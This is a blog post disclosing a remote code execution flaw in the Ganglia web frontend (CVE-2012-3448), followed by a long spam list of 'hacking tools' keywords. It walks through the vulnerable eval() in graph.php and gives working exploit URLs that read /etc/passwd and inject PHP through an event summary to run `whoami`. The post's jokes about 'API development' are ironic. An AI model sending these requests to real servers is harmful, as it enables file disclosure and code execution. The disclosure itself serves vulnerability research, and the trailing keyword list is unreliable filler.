Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Read more
- Hacking Tools Usb
- Hacker Tools For Mac
- Hacking Tools 2020
- Hack Tools Mac
- Hacker Tools Free Download
- Pentest Tools For Mac
- Hacker Hardware Tools
- Install Pentest Tools Ubuntu
- Pentest Box Tools Download
- Best Pentesting Tools 2018
- Pentest Tools Website Vulnerability
- Top Pentest Tools
- Pentest Tools Github
- Hackers Toolbox
- Hacking Tools For Windows 7
- Hack Tools Online
- Android Hack Tools Github
- Beginner Hacker Tools
- Pentest Tools Apk
- Pentest Tools Kali Linux
- Pentest Tools Free
- Android Hack Tools Github
- Hacker Tools Online
- Usb Pentest Tools
- Hacking Tools Online
- Hacking Tools For Pc
- Bluetooth Hacking Tools Kali
- Hacking Tools Mac
- New Hacker Tools
- Hack And Tools
- Hacker Hardware Tools
- Hack Website Online Tool
- Hack Tools Download
- Hacking Tools
- Kik Hack Tools
- Pentest Tools Website Vulnerability
- Growth Hacker Tools
- World No 1 Hacker Software
- Hack Apps
- Pentest Tools List
- Pentest Tools Download
- Pentest Tools Framework
- Hacks And Tools
- Hack Tools Github
- Pentest Tools Review
- Install Pentest Tools Ubuntu
- Hacking Tools Hardware
- Hacker Tools Free Download
- Hacker Tools Free
- Hack Tools Download
- Hacking Tools Free Download
- Pentest Tools For Ubuntu
- Hacker Hardware Tools
- Hacking Tools For Games
- How To Install Pentest Tools In Ubuntu
- Pentest Tools Online
- Hacking Tools Mac
- Pentest Tools Android
- Hacker Search Tools
- Hacking Tools Github
- Hacking Tools For Windows 7
- Hack Tools For Windows
- Hacker Tool Kit
- Pentest Tools Alternative
- Hack Tools 2019
- Pentest Tools Apk
- What Are Hacking Tools
- Pentest Tools
- Hack Tools Online
- Pentest Automation Tools
- Hacker Tools 2020
- Pentest Tools Apk
- Hacker Tools Online
- Tools Used For Hacking
- Hack Tools For Mac
- Hackers Toolbox
- Hacking Tools For Pc
- Hacking Tools For Beginners
- Growth Hacker Tools
- Pentest Tools Android
- Bluetooth Hacking Tools Kali
- Hack Tool Apk
- Hack Tools For Games
- Hacker Tools List
- Hack Tools For Pc
- Hack Tools For Pc
- Nsa Hack Tools Download
- Best Pentesting Tools 2018
- Black Hat Hacker Tools
- Hack Tools
- Pentest Tools Review
- Hacker Hardware Tools
- Best Hacking Tools 2020
- Hack Tools
- Hacking Tools Software
- Hacking Tools Usb
- Game Hacking
- Pentest Reporting Tools
- Best Pentesting Tools 2018
- Hacking Tools Kit
- Android Hack Tools Github
- Pentest Tools Framework
- Pentest Tools Website
- Pentest Tools Linux
- Hacker Tools For Windows
- Hacker Tools For Ios
- What Is Hacking Tools
- Hack Tools For Pc
- Hacker Tools Mac
- Hacking Tools Online
- Hacking Apps
- Black Hat Hacker Tools
- Hacking Tools Free Download
- Pentest Tools Tcp Port Scanner
- Pentest Tools Alternative
- Hack Tools For Windows
- Hacking Tools Hardware
- Termux Hacking Tools 2019
- Hacker Tools For Mac
- Pentest Tools For Android
- Hacker Tools Hardware
- Pentest Tools Download
- Hack Tool Apk No Root
- Hackrf Tools
- Hacker Tools Windows
- Hack Tools 2019
- Pentest Automation Tools
- Pentest Tools Online
- Hacker Tools
- Hack Rom Tools
- Bluetooth Hacking Tools Kali
- Pentest Tools Tcp Port Scanner
- Kik Hack Tools
- Hack Tools For Mac
- Usb Pentest Tools
- Hack Website Online Tool
- Hacker Tools Apk
- Hacking Tools Online
- Hacking Tools And Software
- Pentest Tools Linux
- Pentest Tools For Ubuntu
- Hacking Tools Github
- Hacking Tools For Pc
- Hacking Tools Usb
- Hack Tools Github
- Hack Rom Tools
- New Hacker Tools
0 comments:
Post a Comment